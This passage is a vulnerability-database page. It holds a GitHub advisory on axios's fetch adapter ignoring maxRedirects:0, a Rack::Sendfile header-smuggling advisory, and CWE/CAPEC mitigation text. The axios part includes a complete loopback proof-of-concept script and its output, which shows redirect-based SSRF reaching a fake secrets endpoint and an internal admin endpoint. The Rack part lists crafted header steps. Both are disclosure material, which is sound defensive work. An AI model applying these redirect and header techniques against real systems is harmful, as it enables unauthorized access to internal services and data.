} catch (err) {
  httpBlocked = true;
  console.log(`[CONTROL]  HTTP adapter + maxRedirects:0  correctly blocked redirect ✓ (${err.code ?? err.message})`);
}
console.log(`[CONTROL]  Internal hits after HTTP adapter: ${internalHits}`);

// BYPASS: Fetch adapter silently ignores maxRedirects: 0
let fetchResponse = null;
try {
  fetchResponse = await axios.get(targetUrl, { maxRedirects: 0, adapter: 'fetch' });
  console.log('[BYPASS]   Fetch adapter + maxRedirects:0  SSRF succeeded ✗');
  console.log('           Response:', JSON.stringify(fetchResponse.data));
} catch (err) {
  console.log('[BYPASS]   Fetch adapter + maxRedirects:0  redirect blocked (unexpected):', err.message);
}
console.log(`[BYPASS]   Internal hits after fetch adapter: ${internalHits}`);

// BYPASS: Fetch adapter follows redirect to state-changing internal endpoint
let changedResponse = null;
try {
  changedResponse = await axios.get(changeUrl, { maxRedirects: 0, adapter: 'fetch' });
  console.log('[BYPASS]   Fetch adapter state change:', JSON.stringify(changedResponse.data));
  console.log(`[BYPASS]   Internal hits after state change: ${internalHits}`);
} catch (err) {
  console.log('[BYPASS]   State change request blocked (unexpected):', err.message);
}


console.log('');

if (httpBlocked && fetchResponse && changedResponse) {
  console.log('POC RESULT: fetch adapter followed redirects despite maxRedirects:0,');
  console.log('            reaching internal service and mutating internal state.');
} else if (httpBlocked && fetchResponse) {
  console.log('POC RESULT: fetch adapter followed redirect despite maxRedirects:0,');
  console.log('            reaching internal service that should have been unreachable.');
} else if (!httpBlocked) {
  console.log('POC RESULT: HTTP adapter did not block redirect -- unexpected, check axios version.');
} else {
  console.log('POC RESULT: fetch adapter blocked redirect -- issue may be fixed.');
}

serverA.close();
serverB.close();
Run: 
node poc-max-redirects.mjs
Observed: 
Axios maxRedirects bypass via fetch adapter PoC
axios VERSION=1.17.0
maxRedirects=0
Target URL=http://127.0.0.1:13801/api/data
  redirects to http://127.0.0.1:13802/internal/secrets
Change URL=http://127.0.0.1:13801/api/change-config
  redirects to http://127.0.0.1:13802/internal/admin/config

[CONTROL]  HTTP adapter + maxRedirects:0  correctly blocked redirect ✓ (ERR_BAD_RESPONSE)
[CONTROL]  Internal hits after HTTP adapter: 0
[BYPASS]   Fetch adapter + maxRedirects:0  SSRF succeeded ✗
           Response: {"secret":"FAKE_AWS_SECRET_ACCESS_KEY_FOR_POC_ONLY","role":"arn:aws:iam::000000000000:role/FakeProductionRole"}
[BYPASS]   Internal hits after fetch adapter: 1
[BYPASS]   Fetch adapter state change: {"reached":"state-changing internal admin endpoint","changed":true,"internalConfig":{"compromised":true,"source":"redirect-followed-by-fetch-adapter"}}
[BYPASS]   Internal hits after state change: 2

POC RESULT: fetch adapter followed redirects despite maxRedirects:0,
            reaching internal service and mutating internal state.
## Control Axios does correctly enforce `maxRedirects: 0` in the HTTP adapter. The `[CONTROL]` case above confirms this: the same request with `adapter: 'http'` throws rather than following the redirect, and the internal hit counter stays at `0`: 
[CONTROL]  HTTP adapter + maxRedirects:0  correctly blocked redirect ✓ (ERR_BAD_RESPONSE)
[CONTROL]  Internal hits after HTTP adapter: 0
The issue is not that `maxRedirects` is broken globally. It is enforced correctly for the HTTP adapter. The bypass is specific to the fetch adapter, which never reads the option and passes no `redirect` constraint to the underlying `fetch()` call. ## Impact This is a redirect enforcement bypass affecting axios applications running in environments where the fetch adapter is active. The internal admin route in the PoC simulates an affected deployment where a redirected request can reach state-changing internal APIs. The vulnerability is that `maxRedirects: 0` is silently ignored by the fetch adapter; the exact impact depends on what redirect targets are reachable from the runtime. The impact is environment- and configuration-dependent. It affects axios users who: - Set `maxRedirects: 0` as a defense against redirect-based SSRF, and - Run in an environment where the fetch adapter is selected, either by runtime (Deno, Bun, Cloudflare Workers) or by explicit configuration In these cases, a `302` redirect from the initial target is followed silently by default, unless the caller separately sets `fetchOptions.redirect`. If the redirect target is an internal service, the application returns its response to the caller with no indication that a redirect occurred or that `maxRedirects` was not honoured. The failure is silent: no error is thrown, no warning is logged. The bypass is not limited to read-only access. As demonstrated by the second bypass case, a redirect to a state-changing internal endpoint succeeds equally. An attacker who can influence the redirect destination, for example through an open redirect on the initial target or a server they control, can reach internal and trigger mutations that the application never intended to issue. Potentially affected environments include: - Deno and Bun applications using axios where the fetch adapter is the default. - Cloudflare Workers using axios, which has no Node.js `http` module. - Node.js applications that explicitly configure `adapter: 'fetch'` or a custom adapter list that resolves to fetch. - Any application that conditionally sets `maxRedirects: 0` and runs across multiple environments with different adapter selection. Internal services reachable via a redirect include cloud instance metadata endpoints (`169.254.169.254`), unauthenticated local services such as Redis or internal admin APIs, and other hosts accessible from the application's network that are not intended to be reachable by the caller. The hit counter in the PoC makes the access concrete: `0` after the HTTP control, `1` after the confidentiality bypass, `2` after the integrity bypass. This should not be characterised as an unconditional SSRF. The bypass requires either an open redirect on the initial target, or a URL that is itself a redirect. The issue is that `maxRedirects: 0`, which is the intended mitigation for this class of attack, is silently non-functional in the fetch adapter, leaving applications with a false sense of protection.
Severity
7.0 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.17.0"
            },
            {
              "fixed": "1.20.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-101907"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441",
      "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-30T15:31:58Z",
    "nvd_published_at": "2026-09-28T18:17:19Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nAxios exposes `maxRedirects` to limit redirect following, and `maxRedirects: 0` is used by applications as a redirect-based SSRF guard. The Node HTTP adapter enforces this option. The fetch adapter does not read it and does not set a Fetch API `redirect` mode, so the runtime default of `redirect: \u0027follow\u0027` applies.\n\nApplications are affected when they rely on `maxRedirects: 0` and use the fetch adapter, either explicitly or because the runtime selects it.\n\n## Impact\n\nAn attacker who controls the initial URL or a redirecting server can cause a fetch-adapter request to follow a redirect even though the caller configured `maxRedirects: 0`. If the redirect target is reachable only from the application environment, this can expose internal responses or trigger state-changing internal endpoints.\n\nThis should not be described as unconditional SSRF. The bypass requires a redirect source, such as an attacker-controlled server or open redirect, and an application that trusted `maxRedirects: 0` as the redirect guard.\n\n## Affected Functionality\n\nAffected:\n\n- `adapter: \u0027fetch\u0027`.\n- Runtime environments where fetch is selected by adapter resolution.\n- Requests configured with `maxRedirects: 0` but without `fetchOptions.redirect: \u0027manual\u0027` or equivalent runtime-specific redirect control.\n\nNot affected:\n\n- Node HTTP adapter, which enforces `maxRedirects: 0`.\n- Requests that do not follow redirects in the underlying fetch implementation because the caller explicitly configured fetch redirect behavior.\n\n## Technical Details\n\n`lib/adapters/fetch.js` destructures many fields from `resolveConfig(config)`, but not `maxRedirects`. It then builds fetch options without a `redirect` key:\n\n```js\nconst resolvedOptions = {\n  ...fetchOptions,\n  signal: composedSignal,\n  method: method.toUpperCase(),\n  headers: toByteStringHeaderObject(headers.normalize()),\n  body: data,\n  duplex: \u0027half\u0027,\n  credentials: isCredentialsSupported ? withCredentials : undefined,\n};\n```\n\nBecause `redirect` is absent, the Fetch API default is to follow redirects.\n\nLocal verification on axios `1.18.1` showed the HTTP adapter throwing with `maxRedirects: 0`, while the fetch adapter followed the same loopback `302` and returned the internal response.\n\n## Proof of Concept of Attack\n\nConstrained local demonstration:\n\n1. Start server A that returns `302 Location: http://127.0.0.1:\u003cserver-b\u003e/internal`.\n2. Start server B that returns `INTERNAL`.\n3. Compare:\n\n```js\nawait axios.get(serverA, { adapter: \u0027http\u0027, maxRedirects: 0 });  // throws\nawait axios.get(serverA, { adapter: \u0027fetch\u0027, maxRedirects: 0 }); // returns INTERNAL\n```\n\n## Workarounds\n\nFor fetch-adapter requests, set `fetchOptions: { redirect: \u0027manual\u0027 }` where the runtime supports it, or use the Node HTTP adapter for requests that rely on axios redirect limits.\n\n\u003cdetails\u003e\n  \u003csummary\u003e\u003ch3\u003eOriginal report\u003c/h3\u003e\u003c/summary\u003e\n  \n## Summary\n\nAxios 1.17.0 exposes `maxRedirects` as a configuration option to limit redirect following, and setting it to `0` is a documented pattern for preventing redirect-based SSRF. The HTTP adapter enforces this via `follow-redirects`. The fetch adapter does not read `maxRedirects` at all - it passes requests to the underlying `fetch()` call with no `redirect` option, which defaults to `\u0027follow\u0027`, so redirects are followed by the runtime rather than being constrained by axios `maxRedirects`.\n\nIn the attached PoC, a request issued with `maxRedirects: 0` and `adapter: \u0027fetch\u0027` follows a `302` redirect to an internal service and returns its response, while the same request with `adapter: \u0027http\u0027` correctly throws. A second bypass case demonstrates that the redirect can reach a state-changing internal endpoint, not just read-only ones, proving both confidentiality and integrity impact.\n\nThis affects any application that sets `maxRedirects: 0` as a redirect guard and runs in an environment where the fetch adapter is active: Deno, Bun, Cloudflare Workers, or Node.js with `adapter: \u0027fetch\u0027` set explicitly.\n\n## Details\n\nThe fetch adapter destructures config fields from `resolveConfig` at `lib/adapters/fetch.js`:\n\n```js\nlet {\n  url, method, data, signal, cancelToken, timeout,\n  onDownloadProgress, onUploadProgress, responseType,\n  headers, withCredentials, fetchOptions,\n  maxContentLength, maxBodyLength,\n} = resolveConfig(config);\n// maxRedirects is not extracted\n```\n\nThe options object passed to `fetch()` has no `redirect` key:\n\n```js\nconst resolvedOptions = {\n  ...fetchOptions,       // redirect only set here if caller explicitly passes fetchOptions.redirect\n  signal: composedSignal,\n  method: method.toUpperCase(),\n  headers: toByteStringHeaderObject(headers.normalize()),\n  body: data,\n  duplex: \u0027half\u0027,\n  credentials: isCredentialsSupported ? withCredentials : undefined,\n};\n```\n\nBecause no `redirect` key is present, the Fetch API default of `redirect: \u0027follow\u0027` applies, so redirects are handled by the runtime rather than constrained by axios `maxRedirects`. The HTTP adapter, by contrast, delegates to `follow-redirects`, which reads `maxRedirects`, enforces the cap, and strips `Authorization`, `Cookie`, and `Proxy-Authorization` on cross-origin redirects.\n\nThe discrepancy between adapters is not documented. The threat model covers credential stripping on redirects (T-R2) and cites `follow-redirects` as the mitigation, but makes no mention that the fetch adapter does not participate in this mitigation. See: https://github.com/axios/axios/blob/master/THREATMODEL.md#t-r2-credential-leakage-on-cross-origin-redirect\n\nThe behaviour difference between adapters is summarised below:\n\n| Behaviour                              | HTTP adapter                    | Fetch adapter            |\n|----------------------------------------|---------------------------------|--------------------------|\n| Reads `config.maxRedirects`            | Yes                             | **No**                   |\n| Enforces `maxRedirects: 0`             | Yes -- throws on any redirect   | **No -- follows silently**|\n| Strips `Authorization` cross-origin    | Yes (`follow-redirects` \u003e=1.15.8)| Runtime-dependent       |\n| Strips `Cookie` cross-origin           | Yes                             | Runtime-dependent        |\n\n### When is the fetch adapter selected?\n\n- **Deno, Bun, Cloudflare Workers:** no Node.js `http` module available; the adapter list falls through to `\u0027fetch\u0027`\n- **Explicit config:** `axios.get(url, { adapter: \u0027fetch\u0027 })`\n- **Custom adapter list:** `axios.create({ adapter: [\u0027fetch\u0027] })`\n\n## PoC\n\n```js\nimport http from \u0027http\u0027;\nimport axios from \u0027./index.js\u0027;\n\n// Server A: the \"trusted\" external target, issues open redirects to Server B\nconst serverA = http.createServer((req, res) =\u003e {\n  if (req.url === \u0027/api/data\u0027) {\n    res.writeHead(302, { Location: \u0027http://127.0.0.1:13802/internal/secrets\u0027 });\n    return res.end();\n  }\n  if (req.url === \u0027/api/change-config\u0027) {\n    res.writeHead(302, { Location: \u0027http://127.0.0.1:13802/internal/admin/config\u0027 });\n    return res.end();\n  }\n  res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 });\n  res.end(JSON.stringify({ ok: true }));\n});\n\nlet internalHits = 0;\nlet internalConfig = {};\n\n// Server B: the \"internal\" service, should be unreachable from the application\nconst serverB = http.createServer(async (req, res) =\u003e {\n  internalHits++;\n\n  if (req.url === \u0027/internal/secrets\u0027) {\n    res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 });\n    return res.end(JSON.stringify({\n      secret: \u0027FAKE_AWS_SECRET_ACCESS_KEY_FOR_POC_ONLY\u0027,\n      role:   \u0027arn:aws:iam::000000000000:role/FakeProductionRole\u0027,\n    }));\n  }\n\n  if (req.url === \u0027/internal/admin/config\u0027) {\n    internalConfig = { compromised: true, source: \u0027redirect-followed-by-fetch-adapter\u0027 };\n    res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 });\n    return res.end(JSON.stringify({\n      reached: \u0027state-changing internal admin endpoint\u0027,\n      changed: true,\n      internalConfig,\n    }));\n  }\n\n  res.writeHead(404);\n  res.end();\n});\n\nawait Promise.all([\n  new Promise((resolve, reject) =\u003e { serverA.listen(13801, \u0027127.0.0.1\u0027, resolve); serverA.on(\u0027error\u0027, reject); }),\n  new Promise((resolve, reject) =\u003e { serverB.listen(13802, \u0027127.0.0.1\u0027, resolve); serverB.on(\u0027error\u0027, reject); }),\n]);\n\nconst targetUrl    = \u0027http://127.0.0.1:13801/api/data\u0027;\nconst changeUrl    = \u0027http://127.0.0.1:13801/api/change-config\u0027;\nconst internalUrl  = \u0027http://127.0.0.1:13802/internal/secrets\u0027;\nconst internalCfg  = \u0027http://127.0.0.1:13802/internal/admin/config\u0027;\n\nconsole.log(\u0027Axios maxRedirects bypass via fetch adapter PoC\u0027);\nconsole.log(`axios VERSION=${axios.VERSION}`);\nconsole.log(`maxRedirects=0`);\nconsole.log(`Target URL=${targetUrl}`);\nconsole.log(`  redirects to ${internalUrl}`);\nconsole.log(`Change URL=${changeUrl}`);\nconsole.log(`  redirects to ${internalCfg}`);\nconsole.log(\u0027\u0027);\n\n// CONTROL: HTTP adapter correctly enforces maxRedirects: 0\nlet httpBlocked = false;\ntry {\n  await axios.get(targetUrl, { maxRedirects: 0, adapter: \u0027http\u0027 });\n  console.log(\u0027[CONTROL]  HTTP adapter + maxRedirects:0  BUG: should have thrown\u0027);\n} catch (err) {\n  httpBlocked = true;\n  console.log(`[CONTROL]  HTTP adapter + maxRedirects:0  correctly blocked redirect \u2713 (${err.code ?? err.message})`);\n}\nconsole.log(`[CONTROL]  Internal hits after HTTP adapter: ${internalHits}`);\n\n// BYPASS: Fetch adapter silently ignores maxRedirects: 0\nlet fetchResponse = null;\ntry {\n  fetchResponse = await axios.get(targetUrl, { maxRedirects: 0, adapter: \u0027fetch\u0027 });\n  console.log(\u0027[BYPASS]   Fetch adapter + maxRedirects:0  SSRF succeeded \u2717\u0027);\n  console.log(\u0027           Response:\u0027, JSON.stringify(fetchResponse.data));\n} catch (err) {\n  console.log(\u0027[BYPASS]   Fetch adapter + maxRedirects:0  redirect blocked (unexpected):\u0027, err.message);\n}\nconsole.log(`[BYPASS]   Internal hits after fetch adapter: ${internalHits}`);\n\n// BYPASS: Fetch adapter follows redirect to state-changing internal endpoint\nlet changedResponse = null;\ntry {\n  changedResponse = await axios.get(changeUrl, { maxRedirects: 0, adapter: \u0027fetch\u0027 });\n  console.log(\u0027[BYPASS]   Fetch adapter state change:\u0027, JSON.stringify(changedResponse.data));\n  console.log(`[BYPASS]   Internal hits after state change: ${internalHits}`);\n} catch (err) {\n  console.log(\u0027[BYPASS]   State change request blocked (unexpected):\u0027, err.message);\n}\n\n\nconsole.log(\u0027\u0027);\n\nif (httpBlocked \u0026\u0026 fetchResponse \u0026\u0026 changedResponse) {\n  console.log(\u0027POC RESULT: fetch adapter followed redirects despite maxRedirects:0,\u0027);\n  console.log(\u0027            reaching internal service and mutating internal state.\u0027);\n} else if (httpBlocked \u0026\u0026 fetchResponse) {\n  console.log(\u0027POC RESULT: fetch adapter followed redirect despite maxRedirects:0,\u0027);\n  console.log(\u0027            reaching internal service that should have been unreachable.\u0027);\n} else if (!httpBlocked) {\n  console.log(\u0027POC RESULT: HTTP adapter did not block redirect -- unexpected, check axios version.\u0027);\n} else {\n  console.log(\u0027POC RESULT: fetch adapter blocked redirect -- issue may be fixed.\u0027);\n}\n\nserverA.close();\nserverB.close();\n```\n\nRun:\n\n```bash\nnode poc-max-redirects.mjs\n```\n\nObserved:\n\n```text\nAxios maxRedirects bypass via fetch adapter PoC\naxios VERSION=1.17.0\nmaxRedirects=0\nTarget URL=http://127.0.0.1:13801/api/data\n  redirects to http://127.0.0.1:13802/internal/secrets\nChange URL=http://127.0.0.1:13801/api/change-config\n  redirects to http://127.0.0.1:13802/internal/admin/config\n\n[CONTROL]  HTTP adapter + maxRedirects:0  correctly blocked redirect \u2713 (ERR_BAD_RESPONSE)\n[CONTROL]  Internal hits after HTTP adapter: 0\n[BYPASS]   Fetch adapter + maxRedirects:0  SSRF succeeded \u2717\n           Response: {\"secret\":\"FAKE_AWS_SECRET_ACCESS_KEY_FOR_POC_ONLY\",\"role\":\"arn:aws:iam::000000000000:role/FakeProductionRole\"}\n[BYPASS]   Internal hits after fetch adapter: 1\n[BYPASS]   Fetch adapter state change: {\"reached\":\"state-changing internal admin endpoint\",\"changed\":true,\"internalConfig\":{\"compromised\":true,\"source\":\"redirect-followed-by-fetch-adapter\"}}\n[BYPASS]   Internal hits after state change: 2\n\nPOC RESULT: fetch adapter followed redirects despite maxRedirects:0,\n            reaching internal service and mutating internal state.\n```\n\n## Control\n\nAxios does correctly enforce `maxRedirects: 0` in the HTTP adapter. The `[CONTROL]` case above confirms this: the same request with `adapter: \u0027http\u0027` throws rather than following the redirect, and the internal hit counter stays at `0`:\n\n```text\n[CONTROL]  HTTP adapter + maxRedirects:0  correctly blocked redirect \u2713 (ERR_BAD_RESPONSE)\n[CONTROL]  Internal hits after HTTP adapter: 0\n```\n\nThe issue is not that `maxRedirects` is broken globally. It is enforced correctly for the HTTP adapter. The bypass is specific to the fetch adapter, which never reads the option and passes no `redirect` constraint to the underlying `fetch()` call.\n\n## Impact\n\nThis is a redirect enforcement bypass affecting axios applications running in environments where the fetch adapter is active.\n\nThe internal admin route in the PoC simulates an affected deployment where a redirected request can reach state-changing internal APIs. The vulnerability is that `maxRedirects: 0` is silently ignored by the fetch adapter; the exact impact depends on what redirect targets are reachable from the runtime.\n\nThe impact is environment- and configuration-dependent. It affects axios users who:\n\n- Set `maxRedirects: 0` as a defense against redirect-based SSRF, and\n- Run in an environment where the fetch adapter is selected, either by runtime (Deno, Bun, Cloudflare Workers) or by explicit configuration\n\nIn these cases, a `302` redirect from the initial target is followed silently by default, unless the caller separately sets `fetchOptions.redirect`. If the redirect target is an internal service, the application returns its response to the caller with no indication that a redirect occurred or that `maxRedirects` was not honoured. The failure is silent: no error is thrown, no warning is logged.\n\nThe bypass is not limited to read-only access. As demonstrated by the second bypass case, a redirect to a state-changing internal endpoint succeeds equally. An attacker who can influence the redirect destination, for example through an open redirect on the initial target or a server they control, can reach internal and trigger mutations that the application never intended to issue.\n\nPotentially affected environments include:\n\n- Deno and Bun applications using axios where the fetch adapter is the default.\n- Cloudflare Workers using axios, which has no Node.js `http` module.\n- Node.js applications that explicitly configure `adapter: \u0027fetch\u0027` or a custom adapter list that resolves to fetch.\n- Any application that conditionally sets `maxRedirects: 0` and runs across multiple environments with different adapter selection.\n\nInternal services reachable via a redirect include cloud instance metadata endpoints (`169.254.169.254`), unauthenticated local services such as Redis or internal admin APIs, and other hosts accessible from the application\u0027s network that are not intended to be reachable by the caller. The hit counter in the PoC makes the access concrete: `0` after the HTTP control, `1` after the confidentiality bypass, `2` after the integrity bypass.\n\nThis should not be characterised as an unconditional SSRF. The bypass requires either an open redirect on the initial target, or a URL that is itself a redirect. The issue is that `maxRedirects: 0`, which is the intended mitigation for this class of attack, is silently non-functional in the fetch adapter, leaving applications with a false sense of protection.\n\u003c/details\u003e\n\n---",
  "id": "GHSA-r4gj-5m52-g5wh",
  "modified": "2026-09-30T15:31:58Z",
  "published": "2026-09-30T15:31:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-r4gj-5m52-g5wh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101907"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/11141"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v1.20.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Axios: maxRedirects: 0 is not enforced by the fetch adapter, allowing redirect-based SSRF"
}

GHSA-R657-RXJC-J557

Vulnerability from github – Published: 2025-10-10 17:31 – Updated: 2025-10-13 15:45
VLAI
Summary
Rack has a Possible Information Disclosure Vulnerability
Details

Summary

A possible information disclosure vulnerability existed in Rack::Sendfile when running behind a proxy that supports x-sendfile headers (such as Nginx). Specially crafted headers could cause Rack::Sendfile to miscommunicate with the proxy and trigger unintended internal requests, potentially bypassing proxy-level access restrictions.

Details

When Rack::Sendfile received untrusted x-sendfile-type or x-accel-mapping headers from a client, it would interpret them as proxy configuration directives. This could cause the middleware to send a "redirect" response to the proxy, prompting it to reissue a new internal request that was not subject to the proxy's access controls.

An attacker could exploit this by: 1. Setting a crafted x-sendfile-type: x-accel-redirect header. 2. Setting a crafted x-accel-mapping header. 3. Requesting a path that qualifies for proxy-based acceleration.

Impact

Attackers could bypass proxy-enforced restrictions and access internal endpoints intended to be protected (such as administrative pages). The vulnerability did not allow arbitrary file reads but could expose sensitive application routes.

This issue only affected systems meeting all of the following conditions:

  • The application used Rack::Sendfile with a proxy that supports x-accel-redirect (e.g., Nginx).
  • The proxy did not always set or remove the x-sendfile-type and x-accel-mapping headers.
  • The application exposed an endpoint that returned a body responding to .to_path.

Mitigation

  • Upgrade to a fixed version of Rack which requires explicit configuration to enable x-accel-redirect:

ruby use Rack::Sendfile, "x-accel-redirect"

  • Alternatively, configure the proxy to always set or strip the headers (you should be doing this!):

nginx proxy_set_header x-sendfile-type x-accel-redirect; proxy_set_header x-accel-mapping /var/www/=/files/;

  • Or in Rails applications, disable sendfile completely:

ruby config.action_dispatch.x_sendfile_header = nil

Severity
5.8 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.20"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0"
            },
            {
              "fixed": "3.1.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.2"
            },
            {
              "fixed": "3.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-61780"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-441",
      "CWE-913"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-10T17:31:31Z",
    "nvd_published_at": "2025-10-10T17:15:39Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nA possible information disclosure vulnerability existed in `Rack::Sendfile` when running behind a proxy that supports `x-sendfile` headers (such as Nginx). Specially crafted headers could cause `Rack::Sendfile` to miscommunicate with the proxy and trigger unintended internal requests, potentially bypassing proxy-level access restrictions.\n\n## Details\n\nWhen `Rack::Sendfile` received untrusted `x-sendfile-type` or `x-accel-mapping` headers from a client, it would interpret them as proxy configuration directives. This could cause the middleware to send a \"redirect\" response to the proxy, prompting it to reissue a new internal request that was **not subject to the proxy\u0027s access controls**.\n\nAn attacker could exploit this by:\n1. Setting a crafted `x-sendfile-type: x-accel-redirect` header.\n2. Setting a crafted `x-accel-mapping` header.\n3. Requesting a path that qualifies for proxy-based acceleration.\n\n## Impact\n\nAttackers could bypass proxy-enforced restrictions and access internal endpoints intended to be protected (such as administrative pages). The vulnerability did not allow arbitrary file reads but could expose sensitive application routes.\n\nThis issue only affected systems meeting all of the following conditions:\n\n* The application used `Rack::Sendfile` with a proxy that supports `x-accel-redirect` (e.g., Nginx).\n* The proxy did **not** always set or remove the `x-sendfile-type` and `x-accel-mapping` headers.\n* The application exposed an endpoint that returned a body responding to `.to_path`.\n\n## Mitigation\n\n* Upgrade to a fixed version of Rack which requires explicit configuration to enable `x-accel-redirect`:\n\n  ```ruby\n  use Rack::Sendfile, \"x-accel-redirect\"\n  ```\n\n* Alternatively, configure the proxy to always set or strip the headers (you should be doing this!):\n\n  ```nginx\n  proxy_set_header x-sendfile-type x-accel-redirect;\n  proxy_set_header x-accel-mapping /var/www/=/files/;\n  ```\n\n* Or in Rails applications, disable sendfile completely:\n\n  ```ruby\n  config.action_dispatch.x_sendfile_header = nil\n  ```",
  "id": "GHSA-r657-rxjc-j557",
  "modified": "2025-10-13T15:45:09Z",
  "published": "2025-10-10T17:31:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rack/rack/security/advisories/GHSA-r657-rxjc-j557"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61780"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rack/rack/commit/57277b7741581fa827472c5c666f6e6a33abd784"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rack/rack/commit/7e69f65eefe9cd2868df9f9f3b0977b86f93523a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rack/rack/commit/fba2c8bc63eb787ff4b19bc612d315fda6126d85"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rack/rack"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack/CVE-2025-61780.yml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Rack has a Possible Information Disclosure Vulnerability"
}
Mitigation
Architecture and Design

Enforce the use of strong mutual authentication mechanism between the two parties.

Mitigation
Architecture and Design

Whenever a product is an intermediary or proxy for transactions between two other components, the proxy core should not drop the identity of the initiator of the transaction. The immutability of the identity of the initiator must be maintained and should be forwarded all the way to the target.

CAPEC-219: XML Routing Detour Attacks

An attacker subverts an intermediate system used to process XML content and forces the intermediate to modify and/or re-route the processing of the content. XML Routing Detour Attacks are Adversary in the Middle type attacks (CAPEC-94). The attacker compromises or inserts an intermediate system in the processing of the XML message. For example, WS-Routing can be used to specify a series of nodes or intermediaries through which content is passed. If any of the intermediate nodes in this route are compromised by an attacker they could be used for a routing detour attack. From the compromised system the attacker is able to route the XML process to other nodes of their choice and modify the responses so that the normal chain of processing is unaware of the interception. This system can forward the message to an outside entity and hide the forwarding and processing from the legitimate processing systems by altering the header information.

CAPEC-465: Transparent Proxy Abuse

A transparent proxy serves as an intermediate between the client and the internet at large. It intercepts all requests originating from the client and forwards them to the correct location. The proxy also intercepts all responses to the client and forwards these to the client. All of this is done in a manner transparent to the client.

← Back to the CWE list